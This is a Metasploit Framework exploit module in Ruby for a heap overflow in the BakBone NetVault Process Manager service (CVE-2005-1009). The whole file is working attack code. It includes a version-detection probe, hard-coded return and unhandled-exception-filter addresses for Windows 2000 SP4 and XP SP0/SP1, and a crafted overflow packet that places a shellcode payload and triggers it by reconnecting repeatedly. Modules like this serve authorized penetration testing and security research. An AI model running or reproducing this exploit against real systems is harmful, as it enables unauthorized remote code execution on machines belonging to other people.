## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'BakBone NetVault Remote Heap Overflow', 'Description' => %q{ This module exploits a heap overflow in the BakBone NetVault Process Manager service. This code is a direct port of the netvault.c code written by nolimit and BuzzDee. }, 'Author' => [ 'hdm', '' ], 'Version' => '$Revision$', 'References' => [ ['CVE', '2005-1009'], ['OSVDB', '15234'], ['BID', '12967'], ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x20", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Platform' => 'win', 'Targets' => [ ['Windows 2000 SP4 English', { 'Ret' => 0x75036d7e, 'UEF' => 0x7c54144c } ], ['Windows XP SP0/SP1 English', { 'Ret' => 0x7c369bbd, 'UEF' => 0x77ed73b4 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Apr 01 2005' )) register_options( [ Opt::RPORT(20031) ], self.class) end def check connect hname = "METASPLOIT" probe = "\xc9\x00\x00\x00\x01\xcb\x22\x77\xc9\x17\x00\x00\x00\x69\x3b\x69" + "\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69" + "\x3b\x73\x3b\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00" + "\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00" + [ hname.length + 1 ].pack('V') + hname + "\x00" probe += "\x00" * (201 - probe.length) sock.put(probe) res = sock.get_once(1, 10) off = (res || '').index("NVBuild") if off off += 21 ver = res[off + 4, res[off, 4].unpack('V')[0]].to_i if ver > 0 print_status("Detected NetVault Build #{ver}") return Exploit::CheckCode::Detected end end return Exploit::CheckCode::Safe end def exploit print_status("Trying target #{target.name}...") head = "\x00\x00\x02\x01\x00\x00\x00\x8f\xd0\xf0\xca\x0b\x00\x00\x00\x69" + "\x3b\x62\x3b\x6f\x3b\x6f\x3b\x7a\x3b\x00\x11\x57\x3c\x42\x00\x01" + "\xb9\xf9\xa2\xc8\x00\x00\x00\x00\x03\x00\x00\x00\x00\x01\xa5\x97" + "\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00\x00\x10" + "\x02\x4e\x3f\xac\x14\xcc\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" + "\xa5\x97\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00" + "\x00\x10\x02\x4e\x3f\xc0\xa8\xea\xeb\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x01\xa5\x97\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20" + "\x00\x00\x00\x10\x02\x4e\x3f\xc2\x97\x2c\xd3\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\xb9\xf9\xa2\xc8\x02\x02\x00\x00\x00\xa5\x97\xf0\xca" + "\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00\x00\x04\x02\x4e" + "\x3f\xac\x14\xcc\x0a\xb0\xfc\xe2\x00\x00\x00\x00\x00\xec\xfa\x8e" + "\x01\xa4\x6b\x41\x00\xe4\xfa\x8e\x01\xff\xff\xff\xff\x01\x02" pattern = make_nops(39947) + "\x00\x00\x00" p = payload.encoded pattern[0, head.length] = head pattern[32790, 2] = "\xeb\x0a" pattern[32792, 4] = [ target.ret ].pack('V') pattern[32796, 4] = [ target['UEF'] ].pack('V') pattern[32800, p.length] = p sent = 0 try = 0 15.times { try += 1 connect sent = sock.put(pattern) disconnect break if sent == pattern.length } if (try == 15) print_error("Could not write full packet to server.") return end print_status("Overflow request sent, sleeping fo four seconds (#{try} tries)") sleep(4) print_status("Triggering memory overwrite by reconnecting...") begin 10.times { |x| connect sock.put(pattern) print_status(" Completed connection #{x}") sock.get_once(1, 1) disconnect } rescue end print_status("Waiting for payload to execute...") handler disconnect end def wfs_delay 5 end end